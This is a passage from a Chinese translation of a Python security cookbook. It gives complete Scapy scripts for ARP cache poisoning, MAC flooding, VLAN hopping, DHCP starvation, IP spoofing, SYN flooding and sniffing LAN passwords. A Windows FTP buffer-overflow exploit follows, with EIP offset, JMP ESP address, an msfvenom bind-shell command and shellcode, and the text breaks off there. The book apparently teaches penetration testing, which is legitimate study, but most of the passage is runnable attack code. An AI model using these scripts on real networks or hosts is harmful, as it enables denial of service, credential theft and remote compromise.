,则 IP 转发已禁用。如果已禁用,请按以下方式启用它:
echo 1 > /proc/sys/net/ipv4/ip_forward
macOS
您可以使用以下命令在 macOS 上启用 IP 转发:
sudo sysctl -w net.inet.ip.forwarding=1
使用以下命令禁用它:
sudo sysctl -w net.inet.ip.forwarding=0
如何做...
以下是编写脚本以中毒受害系统的 ARP 缓存的步骤:
-
创建一个新的
arp-cache-poisoning.py
文件并在编辑器中打开。 -
导入
scapy
模块:
from scapy.all import *
- 声明变量。我们也可以从参数中获取这些,或者使用
raw_input()
:
interface = "en0"
gateway_ip = "192.168.1.2"
target_ip = "192.168.1.103"
broadcastMac = "ff:ff:ff:ff:ff:ff"
packet_count = 50
- 现在定义一个从提供的 IP 获取 MAC ID 的函数:
def getMac(IP):
ans, unans = srp(Ether(dst=broadcastMac)/ARP(pdst = IP), timeout =2, iface=interface, inter=0.1)
for send,recive in ans:
return r[Ether].src
return None
- 现在用
getMac()
方法获取目标和网关的 MAC 地址:
try:
gateway_mac = getMac(gateway_ip)
print ("Gateway MAC :" + gateway_mac)
except:
print ("Failed to get gateway MAC. Exiting.")
sys.exit(0)
try:
target_mac = getMac(target_ip)
print ("Target MAC :" + target_mac)
except:
print ("Failed to get target MAC. Exiting.")
sys.exit(0)
- 定义中毒目标 ARP 缓存的函数:
def poison(gateway_ip,gateway_mac,target_ip,target_mac):
targetPacket = ARP()
targetPacket.op = 2
targetPacket.psrc = gateway_ip
targetPacket.pdst = target_ip
targetPacket.hwdst= target_mac
gatewayPacket = ARP()
gatewayPacket.op = 2
gatewayPacket.psrc = target_ip
gatewayPacket.pdst = gateway_ip
gatewayPacket.hwdst= gateway_mac
while True:
try:
targetPacket.show()
send(targetPacket)
gatewayPacket.show()
send(gatewayPacket)
time.sleep(2)
except KeyboardInterrupt:
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
sys.exit(0)
sys.exit(0)
return
在这里,我们发送两种类型的数据包--一种是发送到目标机器,另一种是发送到网关。前两个块定义了这些数据包。目标数据包将如下所示:
网关
数据包将如下所示:
- 现在创建一个函数将中毒的缓存重置为正常状态:
def restore(gateway_ip,gateway_mac,target_ip,target_mac):
print("Restoring target...")
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=100)
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=100)
print("Target Restored...")
sys.exit(0)
- 然后,我们可以开始发送数据包:
try:
poison(gateway_ip, gateway_mac,target_ip,target_mac)
except KeyboardInterrupt:
restore(gateway_ip,gateway_mac,target_ip,target_mac)
sys.exit(0)
- 以所需的权限运行脚本:
sudo python3 arp-cache-poisoning.py
MAC 洪泛
我们可以通过在网络上传送随机的以太网流量来填充路由器的 MAC 地址存储。这可能导致交换机故障,并可能开始将所有网络流量发送给连接到路由器的所有人,或者可能失败。
如何做...
以下是淹没路由器 MAC 地址存储的步骤:
-
创建一个
mac-flooder.py
文件并在您的编辑器中打开。 -
导入所需的模块:
import sys
from scapy.all import *
- 定义要淹没的
interface
。我们也可以从参数中获取它:
interface = "en0"
- 创建具有随机 MAC ID 和随机 IP 的数据包:
pkt = Ether(src=RandMAC("*:*:*:*:*:*"), dst=RandMAC("*:*:*:*:*:*")) / \
IP(src=RandIP("*.*.*.*"), dst=RandIP("*.*.*.*")) / \
ICMP()
数据包结构将如下所示:
- 最后,在无限循环中发送数据包:
try:
while True:
sendp(pkt, iface=interface)
except KeyboardInterrupt:
print("Exiting.. ")
sys.exit(0)
- 现在以所需的权限运行文件:
sudo python3 mac-flooder.py
VLAN 跳跃
VLAN 跳跃是一种攻击类型,攻击者能够将一个 VLAN 的流量发送到另一个 VLAN。我们可以用两种方法实现这一点:双标签和交换机欺骗。为了创建双标签攻击,攻击者发送一个带有两个802.1Q标签的数据包--内部 VLAN 标签是我们计划到达的 VLAN,外层是当前的 VLAN。
如何做...
以下是模拟简单的 VLAN 跳跃攻击的步骤:
-
创建一个
vlan-hopping.py
文件并在您的编辑器中打开。 -
导入模块并设置变量:
import timefrom scapy.all
import *iface = "en0"
our_vlan = 1
target_vlan = 2
target_ip = '192.168.1.2'
- 使用两个 802.1Q 标签制作数据包:
ether = Ether()
dot1q1 = Dot1Q(vlan=our_vlan) # vlan tag 1
dot1q2 = Dot1Q(vlan=target_vlan) # vlan tag 2
ip = IP(dst=target_ip)
icmp = ICMP()
packet = ether/dot1q1/dot1q2/ip/icmp
数据包将如下所示:
- 现在,在无限循环中发送这些数据包:
try:
while True:
sendp(packet, iface=iface)
time.sleep(10)
except KeyboardInterrupt:
print("Exiting.. ")
sys.exit(0)
- 以所需的权限运行脚本:
sudo python3 vlan-hopping.py
ARP 欺骗跨 VLAN 跳跃
由于 VLAN 限制广播流量到相同的 VLAN,因此我们为每个数据包打上我们的 VLAN 标记,并额外添加目标 VLAN 的标记。
如何做...
以下是模拟 ARP 欺骗攻击跨 VLAN 跳跃的步骤:
-
创建一个新的
arp-spoofing-over-vlan.py
文件并在您的编辑器中打开。 -
导入模块并设置变量:
import time
from scapy.all import *
iface = "en0"
target_ip = '192.168.1.2'
fake_ip = '192.168.1.3'
fake_mac = 'c0:d3:de:ad:be:ef'
our_vlan = 1
target_vlan = 2
- 创建具有两个 802.1Q 标签的 ARP 数据包:
ether = Ether()
dot1q1 = Dot1Q(vlan=our_vlan)
dot1q2 = Dot1Q(vlan=target_vlan)
arp = ARP(hwsrc=fake_mac, pdst=target_ip, psrc=fake_ip, op="is-at")
packet = ether/dot1q1/dot1q2/arp
这是一个带有两个 802.1Q 标签和 ARP 层的数据包:
- 在无限循环中发送数据包:
try:
while True:
sendp(packet, iface=iface)
time.sleep(10)
except KeyboardInterrupt:
print("Exiting.. ")
sys.exit(0)
- 以所需的权限运行脚本:
sudo python3 arp-spoofing-over-vlan.py
DHCP 饥饿
DHCP 是帮助为 LAN 分配客户端 IP 地址的协议。分配 DHCP 的过程包括四个步骤--DHCPDiscover、DHCPOffer、DHCPRequest 和 DHCP ACK。
DHCPDiscover 是客户端在 LAN 中广播以查找可以为客户端提供 IP 的 DHCP 服务器的第一步。然后服务器将以单播 DHCPOffer 响应,其中提供可能的 IP。然后,客户端将向所有网络广播 DHCPRequest 与 IP,最后服务器将以 DHCP ACK 或 DHCP NAK 响应。ACK 表示成功的 DHCP 过程,而 NAK 表示 IP 不可用:
DHCP 服务器将 IP 信息存储到 MAC 绑定。如果我们从 DHCP 服务器请求太多 IP,其他合法客户端将无法获得 IP 连接。这被称为DHCP 饥饿攻击。在这个示例中,我们将攻击这个过程的第三步。发送 DHCP 请求后,服务器将为客户端分配请求的 IP。这可以用来攻击特定范围的 IP。
如何做...
让我们尝试编写一个脚本来使网络中的 DHCP 饥饿:
-
创建一个
dhcp-starvation.py
文件并在您的编辑器中打开。 -
导入所需的模块:
from scapy.all import *
from time import sleep
from threading import Thread
我们需要Scapy
来制作数据包,并且需要threading
模块来执行脚本的线程化
- 现在,定义变量:
mac = [""]
ip = []
- 现在我们可以定义回调函数来处理捕获的 DHCP 数据包:
def callback_dhcp_handle(pkt):
if pkt.haslayer(DHCP):
if pkt[DHCP].options[0][1]==5 and pkt[IP].dst != "192.168.1.38":
ip.append(pkt[IP].dst)
print (str(pkt[IP].dst)+" registered")
elif pkt[DHCP].options[0][1]==6:
print ("NAK received")
这个函数被调用来处理嗅探器接收到的每个数据包
- 现在我们必须创建另一个函数来配置嗅探器。这个函数被线程调用:
def sniff_udp_packets():
sniff(filter="udp and (port 67 or port 68)",
prn=callback_dhcp_handle,
store=0)
这将开始嗅探到端口67
和68
的 UDP 数据包
- 现在我们可以创建一个 DHCPRequest 数据包并将其发送到我们计划饥饿的 DHCP 服务器:
def occupy_IP():
for i in range(250):
requested_addr = "192.168.1."+str(2+i)
if requested_addr in ip:
continue
src_mac = ""
while src_mac in mac:
src_mac = RandMAC()
mac.append(src_mac)
pkt = Ether(src=src_mac, dst="ff:ff:ff:ff:ff:ff")
pkt /= IP(src="img/0.0.0.0", dst="255.255.255.255")
pkt /= UDP(sport=68, dport=67)
pkt /= BOOTP(chaddr="\x00\x00\x00\x00\x00\x00",xid=0x10000000)
pkt /= DHCP(options=[("message-type", "request"),
("requested_addr", requested_addr),
("server_id", "192.168.1.1"),
"end"])
sendp(pkt)
print ("Trying to occupy "+requested_addr)
sleep(0.2) # interval to avoid congestion and packet loss
这将首先在指定范围内生成一个 IP 地址。此外,它将为数据包创建一个随机的 MAC 地址。然后,它将使用生成的 IP 地址和 MAC 地址来创建一个 DHCP 请求数据包。然后,它将发送数据包。生成的数据包将如下所示:
- 现在我们可以启动线程,尝试在 DHCP 服务器中占用 IP 地址:
def main():
thread = Thread(target=sniff_udp_packets)
thread.start()
print ("Starting DHCP starvation...")
while len(ip) < 100:
occupy_IP()
print ("Targeted IP address starved")
main()
- 现在,以所需的权限运行脚本。
第十一章:TCP/IP 攻击
在本章中,我们将涵盖以下内容:
-
IP 欺骗
-
SYN 洪泛
-
使用 Python 在局域网中进行密码嗅探
介绍
传输层是提供数据传递、流量控制和错误恢复服务的层。两个主要的传输层协议是 TCP 和 UDP。在本章中,我们将讨论传输层中一些常见的攻击。
IP 欺骗
使用 Scapy,我们可以简单地制作数据包并发送它们。因此,如果我们伪造源地址并发送它,网络将接受并将响应返回到伪造的地址。现在,我们可以创建一个脚本来使用伪造的 IP 对系统进行 ping。
操作步骤...
以下是创建发送伪造 IP 的 ping 请求脚本的步骤:
-
创建一个
ip-spoof-ping.py
文件并在编辑器中打开它。 -
然后,我们必须导入所需的模块:
from scapy.all import *
- 现在为脚本声明变量:
iface = "en0"
fake_ip = '192.168.1.3'
destination_ip = '192.168.1.5'
- 创建一个函数来发送 ICMP 数据包:
def ping(source, destination, iface):
pkt = IP(src=source,dst=destination)/ICMP()
srloop(IP(src=source,dst=destination)/ICMP(), iface=iface)
这将创建以下数据包并开始发送/接收循环:
- 开始发送伪造的数据包:
try:
print ("Starting Ping")
ping(fake_ip,destination_ip,iface)
except KeyboardInterrupt:
print("Exiting.. ")
sys.exit(0)
- 现在以所需的权限运行脚本:
sudo python3 ip-spoof-ping.py
- 现在我们可以尝试发送伪造的 DNS 查询。为此,创建另一个名为
dnsQuery()
的函数。
def dnsQuery(source, destination, iface):
pkt =IP(dst=destination,src=source)/UDP()/DNS(rd=1,qd=DNSQR(qname="example.com")) sr1(pkt)
这将创建以下数据包,并开始在发送/接收循环中发送:
- 然后通过调用此方法发送 DNS 查询:
try:
print ("Starting Ping")
dnsQuery(fake_ip,dns_destination,iface)
except KeyboardInterrupt:
print("Exiting.. ")
sys.exit(0)
- 如果我们可以监视受害者的
tcpdump
,我们可以看到 DNS 响应。
SYN 洪泛
SYN 洪泛是一种使服务对合法用户不可用的 DOS 攻击类型。SYN 洪泛攻击利用了 TCP 协议的三次握手,其中客户端发送 TCP SYN 数据包以开始与服务器的连接,服务器回复 TCP SYN-ACK 数据包。然后,在正常操作中,客户端将发送一个 ACK 数据包,然后是数据。这将保持连接处于SYN_RECV
状态。但是,如果客户端不用 ACK 数据包回应,连接将处于半开放状态。
如果多个攻击者或系统向目标服务器打开了许多这样的半开放连接,它可能填满服务器的 SYN 缓冲区,并且可能停止接收更多的 SYN 数据包,从而导致拒绝服务(DoS)攻击:
我们可以使用 Scapy 生成 SYN 洪泛数据包进行测试。
操作步骤...
以下是创建生成 SYN 洪泛攻击脚本的步骤:
-
创建一个
syn-flooding.py
文件并在编辑器中打开它。 -
然后,我们必须导入所需的模块:
from scapy.all import *
- 现在,声明变量:
iface = "en0"
destination_ip = '192.168.1.5'
- 定义一个函数来创建和发送 SYN 洪泛数据包:
def synFlood(destination, iface):
print ("Starting SYN Flood") packet=IP(dst=destination,id=1111,ttl=99)/TCP(sport=RandShort(),dport=[22,80],seq=12345,ack=1000,window=1000,flags="S")/"HaX0r SVP"
ans,unans=srloop(paket, iface=iface, inter=0.3,retry=2,timeout=4)
ans.summary()
unans.summary()
在这里,随机值用于设置数据包中的 TTL 和 ID。这将有助于混淆服务器中存在的任何入侵检测系统。此外,源端口是由randshort()
函数创建的随机值。
这是一个创建的示例数据包:
- 现在发送数据包:
try:
synFlood(destination_ip, iface)
except KeyboardInterrupt:
print("Exiting.. ")
sys.exit(0)
- 以所需的权限运行此脚本:
sudo python3 syn-flooding.py
使用 Python 在局域网中进行密码嗅探
我们已经学习了如何在之前的示例中使用 Scapy 来嗅探数据包。现在我们可以使用 Scapy 来嗅探和提取数据包中的内容。这可以用来获取许多协议的细节。我们可以尝试从这些嗅探到的数据包中获取凭据。我们可以将这个嗅探器绑定到我们的 ARP 欺骗攻击中,以从网络上的其他计算机获取详细信息。
操作步骤...
以下是编写局域网密码嗅探器的步骤:
-
创建一个
pass-sniffer.py
文件并在编辑器中打开它。 -
导入所需的模块:
from scapy.all import *
from urllib import parse
- 现在为接口声明变量:
iface = "en0"
conf.verb=0
- 创建一个方法来检查嗅探到的内容中的用户名和密码:
def get_login_pass(body):
user = None
passwd = None
userfields = ['log','login', 'wpname', 'ahd_username',
'unickname', 'nickname', 'user', 'user_name',
'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname',
'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename',
'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username',
'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in', 'usuario']
passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword',
'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password'
'passwort', 'passwrd', 'wppassword', 'upasswd','senha','contrasena']
for login in userfields:
login_re = re.search('(%s=[^&]+)' % login, body, re.IGNORECASE)
if login_re:
user = login_re.group()
for passfield in passfields:
pass_re = re.search('(%s=[^&]+)' % passfield, body, re.IGNORECASE)
if pass_re:
passwd = pass_re.group()
if user and passwd:
return (user, passwd)
在这里,我们使用数据中的关键字进行搜索,并提取用户名和密码(如果存在)。
- 现在,创建一个函数来解析嗅探到的数据包:
def pkt_parser(pkt):
if pkt.haslayer(Ether) and pkt.haslayer(Raw) and not pkt.haslayer(IP) and not pkt.haslayer(IPv6):
pass
if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP):
pkt[TCP].payload
mail_packet = str(pkt[TCP].payload)
body = str(pkt[TCP].payload)
user_passwd = get_login_pass(body)
if user_passwd != None:
print(parse.unquote(user_passwd[0]).encode("utf8"))
print(parse.unquote( user_passwd[1]).encode("utf8"))
else:
pass
首先,我们将忽略没有 IP 层的原始数据包。然后我们获取 IP 层并提取有效载荷,并将其传递给get_login_pass()
方法来提取凭据。
- 现在,开始在提供的接口中嗅探数据包:
try:
sniff(iface=iface, prn=pkt_parser, store=0)
except KeyboardInterrupt:
print("Exiting.. ")
sys.exit(0)
- 现在,以所需的权限运行脚本:
sudo python3 pass-sniffer.py
- 我们可以通过少量修改来更新这个脚本以提取 FTP 凭据:
if pkt[TCP].dport == 21 or pkt[TCP].sport ==21:
data = pkt[Raw].load
print(str(data))
这将打印 FTP 数据。我们可以对其进行正则匹配以获取用户名和密码。
第十二章:利用开发简介
在本章中,我们将涵盖以下配方:
-
CPU 寄存器
-
内存转储
-
CPU 指令
介绍
Python 对于创建简单的原型代码来测试利用非常有帮助。在本章中,我们可以学习利用开发的基础知识,这可能有助于您修复损坏的利用,或者从头开始构建自己的利用。
CPU 寄存器
CPU 寄存器,或处理器寄存器,是处理器中一小组数据存储位置之一,可以存储指令、存储地址或任何数据。寄存器应能够存储指令。寄存器是最快的计算机内存,用于加快计算机操作。
准备工作
在进行利用开发之前,您需要对寄存器有一个基本的了解。为了理解,让我们考虑寄存器主要有两种形式,通用寄存器和特殊目的寄存器。
通用寄存器
通用寄存器用于存储程序执行过程中的中间结果和运行数学运算。四个通用寄存器是 EAX、EBX、ECX 和 EDX:
-
EAX(累加器寄存器):用于基本数学运算和返回函数的值。
-
EBX: 这用于根据需要进行名义存储。
-
ECX(计数器寄存器):用于循环遍历函数和迭代。它也可以用于一般存储。
-
EDX(数据寄存器):用于高级数学运算,如乘法和除法。它还在运行程序时存储函数变量。
特殊目的寄存器
特殊目的寄存器用于处理索引和指向。这些在编写利用时非常重要,因为我们将尝试操纵和覆盖这些寄存器中的数据。主要的特殊目的寄存器是 EBP、EDI、EIP 和 ESP:
-
EBP: 这个指针寄存器指示堆栈底部的位置。因此,这将指向堆栈顶部,或者在我们启动函数时设置为旧的指针值,因为这是开始。
-
EDI: 这是目的地索引寄存器,用于指向函数的指针。
-
EIP: 指令指针寄存器用于存储 CPU 要执行的下一条指令。因此,这对于利用编写非常重要,因为如果我们可以编辑这个,我们就可以控制下一条指令。此外,如果我们可以覆盖这个 EIP,这意味着程序本身已经失败。
-
ESP: 当堆栈指针指示堆栈的当前顶部(最低内存地址)时。随着程序运行,它会更新,因为项目从堆栈顶部移除。加载新函数时,它会返回到顶部位置。如果我们需要访问堆栈内存,我们可以使用 ESP。
在运行程序时查看寄存器,我们需要调试器,在您的系统中安装调试器。对于调试 Windows 程序,我们可以使用 Immunity Debugger,对于 Linux 和 Mac,我们可以使用pwngdb
。
您可以从这里下载并安装 Immunity Debugger:www.immunityinc.com/products/debugger/
。
要安装pwndbg
,请从 Git 存储库获取代码并运行安装脚本:
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
如何做…
我们可以在调试器工具中执行一些快速任务,以更好地理解这些寄存器。
-
在运行程序时查看寄存器,我们需要使用调试器。因此,在 Windows 机器上打开 Immunity Debugger 中的可执行文件。
-
然后加载程序以在 Immunity Debugger 中进行分析。从菜单中转到文件|打开,并选择要监视的应用程序。
-
它将以调试模式打开应用程序并打印出当前的详细信息。右上角的框将显示寄存器的详细信息。Immunity 中的寄存器窗格
调试器如下所示:
- 对于 Linux 和 macOS,在安装
pwndbg
之后,我们可以使用以下命令在pwndbg
中打开应用程序:
>> gdb ./app
这将在调试器中打开应用程序app
- 现在我们可以在调试模式下运行应用程序,并设置断点:
pwndbg> break 5
pwndbg> run
这将运行应用程序并在第5
行处中断
- 现在我们可以使用以下命令查看当前状态的寄存器:
pwndbg>info registers
输出将如下所示:
如果可执行文件是 64 位的,则寄存器将以r
开头。以e
开头是无效的。
内存转储
我们可以使用内存转储轻松查看内存位置的内容。我们可以使用 Immunity Debugger 或pwndbg
来实现这一点。
如何做…
按照以下步骤更好地理解内存转储:
-
在 Immunity Debugger 中打开一个应用程序。
-
如果要查看 ESI 寄存器中的内存转储,并右键单击地址,选择转到转储选项:
- 这将更新左下角的内存转储窗口。Immunity Debugger 中的内存转储窗口如下所示:
- 使用
pwndbg
,我们可以使用hexdump
命令获取内存转储。为此,在gdb
中加载应用程序并在断点处运行它:
pwndbg> break 5
pwndbg> run
- 现在要查看 RSI 寄存器中的内存转储,请运行以下命令:
pwndbg> hexdump $rsi
输出将如下所示:
CPU 指令
当应用程序用高级语言编写并编译时,语言指令将被转换为相应的汇编语言。这是机器可以理解的代码。通过调试器,我们可以查看每个汇编指令。
如何做…
按照以下步骤了解调试器的用法:
-
在 Immunity Debugger 中打开一个应用程序。
-
我们可以在 Immunity Debugger 的左上角窗格中查看操作码。
-
我们可以逐步执行指令,并通过按下F7来查看结果:
以下是指令窗格的外观:
这将更新右上角窗格中相应的寄存器。通过这样,我们可以在 Immunity Debugger 中跟踪每个 CPU 指令的执行。
在pwndbg
的情况下,我们可以使用entry
命令在入口点执行:
pwndbg> entry
这将显示上下文屏幕。
- 我们可以使用
nearpc
命令查看断点附近的操作码:
pwndbg> nearpc
输出将如下所示:
- 我们可以使用
stepi
命令逐步执行指令:
pwndbg> stepi
这将执行一条机器指令,然后停止并返回到调试器。
通过这样,我们可以逐步分析指令。
第十三章:Windows 利用开发
在本章中,我们将涵盖以下配方:
-
Windows 内存布局
-
使用保存的返回指针覆盖的缓冲区溢出攻击
-
结构化异常处理(SEH)
-
蛋猎手
介绍
本章将介绍一些基于 Windows 的漏洞以及使用 Python 的利用技术。利用开发任务的解决方案是用我们的指令替换程序指令,以操纵应用程序行为。我们将使用 Immunity Debugger 来调试应用程序。由于受害机器将是 Windows 机器,我们需要一台安装了 Windows XP 操作系统的机器。我们使用旧版 XP 以便于利用,并且具有漏洞的示例应用程序将在 XP 中运行。
Windows 内存布局
Windows 操作系统内存有许多部分,可以被视为高级组件。为了编写利用并利用有漏洞的程序,我们必须了解内存结构及其各个部分。
准备工作
在开始编写利用脚本之前,我们必须了解 Windows 内存布局的结构。
让我们来看一下可执行文件的内存结构:
由于在大多数利用中我们使用堆栈和堆,我们可以从这些开始。
堆栈
堆栈用于有序的短期本地存储。应用程序中的每个线程都有一个堆栈。当调用线程或函数时,为其分配一个具有固定大小的唯一堆栈。堆栈的大小在应用程序或线程启动时定义。此堆栈在函数或线程完成时被销毁。堆栈主要用于存储局部变量、保存函数返回指针、函数参数异常处理程序记录等。
堆栈从堆栈底部到顶部构建数据,从高内存地址到低内存地址:
堆
堆是用于动态分配内存的。当应用程序不知道将接收或处理的数据时,堆将用于存储以无序方式分配的全局变量和值。堆仅在应用程序终止时才被释放。
堆的增长与堆栈相反。它从较低的地址增长到较高的地址:
程序映像和动态链接库
程序映像是实际可执行文件存储在内存中的位置。可执行文件将以可移植可执行文件(PE)格式存在,并包括可执行文件和 DLL。在这个部分中,定义了一些项目,如 PE 头、.text
、.rdata
、.data
等。PE 头定义了可执行文件的其余部分的头信息,.text
包括代码段。.rdata
是只读数据段,.rsrc
是存储可执行文件的资源,如图标、菜单和字体的部分。
进程环境块(PEB)
当我们运行一个应用程序时,该可执行文件的一个实例将作为一个进程运行,并提供运行该应用程序所需的资源。存储运行进程的非内核组件的进程属性是 PEB。此外,PEB 驻留在用户可访问的内存中。
有关 PEB 结构的更多详细信息,请访问此链接:msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx
线程环境块(TEB)
一些进程可能有一个或多个线程。在这种情况下,每个进程都从一个单一的主线程开始,并在需要时创建更多的附加线程。此外,所有这些线程共享相同的虚拟地址。每个线程都有自己的资源,包括异常处理程序、本地存储等。因此,就像 PEB 一样,每个线程都有 TEB。TEB 也驻留在进程地址空间中。
您可以在以下文章中了解有关进程和线程的更多信息:msdn.microsoft.com/en-us/library/windows/desktop/ms681917(v=vs.85).aspx
此外,有关 TEB 结构的更多信息可以在此处找到:msdn.microsoft.com/en-us/library/windows/desktop/ms686708(v=vs.85).aspx
我们需要一个安装了 Immunity Debugger 的 Windows XP 机器来分析示例应用程序。
如何做到...
以下是了解 Immunity Debugger 基本用法的步骤:
-
在 Windows 机器中打开 Immunity Debugger。
-
然后加载一个要在 Immunity Debugger 中分析的程序。从菜单中选择文件 | 打开并选择要监视的应用程序:
- 我们可以通过打开内存映射来查看内存映射。您可以从菜单查看 | 内存中打开它,或者按下Alt + M键:
这将打开以下窗格:
这是在 Immunity Debugger 中打开的应用程序的内存映射。这包括所有堆栈、堆、DLL 和可执行文件。
您可以按以下方式查看堆栈:
DLLs 可以被识别如下:
程序图像及其内容将如下所示:
DLLs、TEB 和 PEB 将被识别如下:
- 我们可以通过右键单击地址并选择转储选项来获取 PEB 和 TEB 的内存转储:
使用保存的返回指针覆盖的缓冲区溢出
在本教程中,我们将讨论利用具有缓冲区溢出漏洞和保存的返回指针覆盖的应用程序。
做好准备
我们可以使用FreeflotFTP作为易受攻击的应用程序。您可以从以下网址获取该应用程序:rejahrehim.com/assets/sample-package/ftp_server_sample.zip
。
易受攻击的机器环境是 Windows XP。因此在真实或虚拟环境中运行 Windows XP 并在其中安装 Immunity Debugger。
安装 Mona
我们需要安装 Mona,这是 Immunity Debugger 的pycommand
模块。为此,请从以下网址下载mona.py
:github.com/corelan/mona
。
然后,将mona.py
添加到Immunity Debugger
应用程序文件夹内的pyCommands
文件夹中:
如何做到...
按照以下步骤创建缓冲区溢出攻击的利用:
-
在 Windows 机器上,启动 Immunity Debugger 并在其中打开易受攻击的应用程序。
-
由于它是一个 FTP 服务器,我们可以尝试通过从另一台机器连接来使应用程序崩溃。
-
我们可以编写一个 Python 脚本来连接到 FTP 服务器。为此,创建一个名为
ftp_exploit.py
的文件并在编辑器中打开它:
#!/usr/bin/python
import socket
import sys
evil = "A"*1000
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.39',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
这将在 Windows 机器上创建大量数据并将其发送到 FTP 服务器。通过发送这个,程序将崩溃:
在这里,您可以看到 EIP 寄存器被我们提供的缓冲区覆盖。此外,ESP 和 EDI 寄存器也包含我们的缓冲区。
- 接下来,我们需要分析崩溃。为了做到这一点,我们需要用模式替换有效负载中的
A
。我们可以使用以下脚本生成模式:github.com/Svenito/exploit-pattern
。
下载脚本
- 我们需要生成一个与我们之前提供的完全相同的有效负载模式。使用脚本下载,生成包含 1,000 个字符的模式。复制生成的模式:
- 使用模式作为有效负载更新 Python 脚本。因此,请在脚本中替换以下行:
evil = "A"*1000
使用以下代码:
evil = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
- 现在重新启动在测试机器中运行的 Immunity Debugger 中的应用程序:
- 然后再次运行 Python 脚本:
这也会使应用程序崩溃,但 EIP 寄存器会更新为我们注入的模式的一部分
- 现在我们可以使用
mona
来分析崩溃。在 Immunity Debugger 控制台中运行以下命令:
!mona findmsp
输出将如下所示:
从中我们可以确定 EIP 寄存器被 247 后的 4 个字节覆盖了。
- 现在我们可以更新模式,确切地覆盖 EIP 寄存器为我们想要的数据。
因此,我们可以尝试在前 247 个位置写入 A,然后在 EIP 寄存器中写入 4 个 B,并用 C 填充,因为我们需要 1000 个。然后用新的有效载荷更新 Python 脚本:
evil = "A"*247 + "B"*4 + "C"*749
在调试器中重新启动应用程序并再次运行 Python 脚本。这也会使应用程序崩溃。但是,检查寄存器:
现在 EIP 被我们提供的值覆盖了。这里是42424242
,也就是BBBB
。
- 现在我们必须用指针替换
BBBB
,以将执行流重定向到 ESP 寄存器。我们可以利用mona
来找到这个指针:
!mona jmp -r esp
输出将如下所示:
我们可以使用列表中的第一个指针,即77def069
。
- 现在用我们选择的指针来制作有效载荷。确保反转字节顺序以匹配 CPU 的小端架构。在
evil
中更新 Python 脚本的以下值:
evil = "A"*247 + "\x69\xf0\xde\x77" + "C"*749
现在在 Immunity Debugger 中重新启动应用程序,并在77def069
处设置断点。您可以使用 Immunity Debugger 中的 Go to 选项转到该地址:
设置断点如下:
选择内存,选择访问选项。
然后运行 Python 脚本。这将在断点处使应用程序中断,我们可以查看寄存器如下:
- 现在我们可以从 Metasploit 生成 shell 代码并将其包含在有效载荷中:
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00\x0A\x0D' -i 3 -f python
- 用 shell 代码更新脚本。然后脚本将如下所示:
#!/usr/bin/python
import socket
import sys
buf = ""
buf += "\xbf\x9e\xc5\xad\x85\xdb\xd5\xd9\x74\x24\xf4\x5e\x2b"
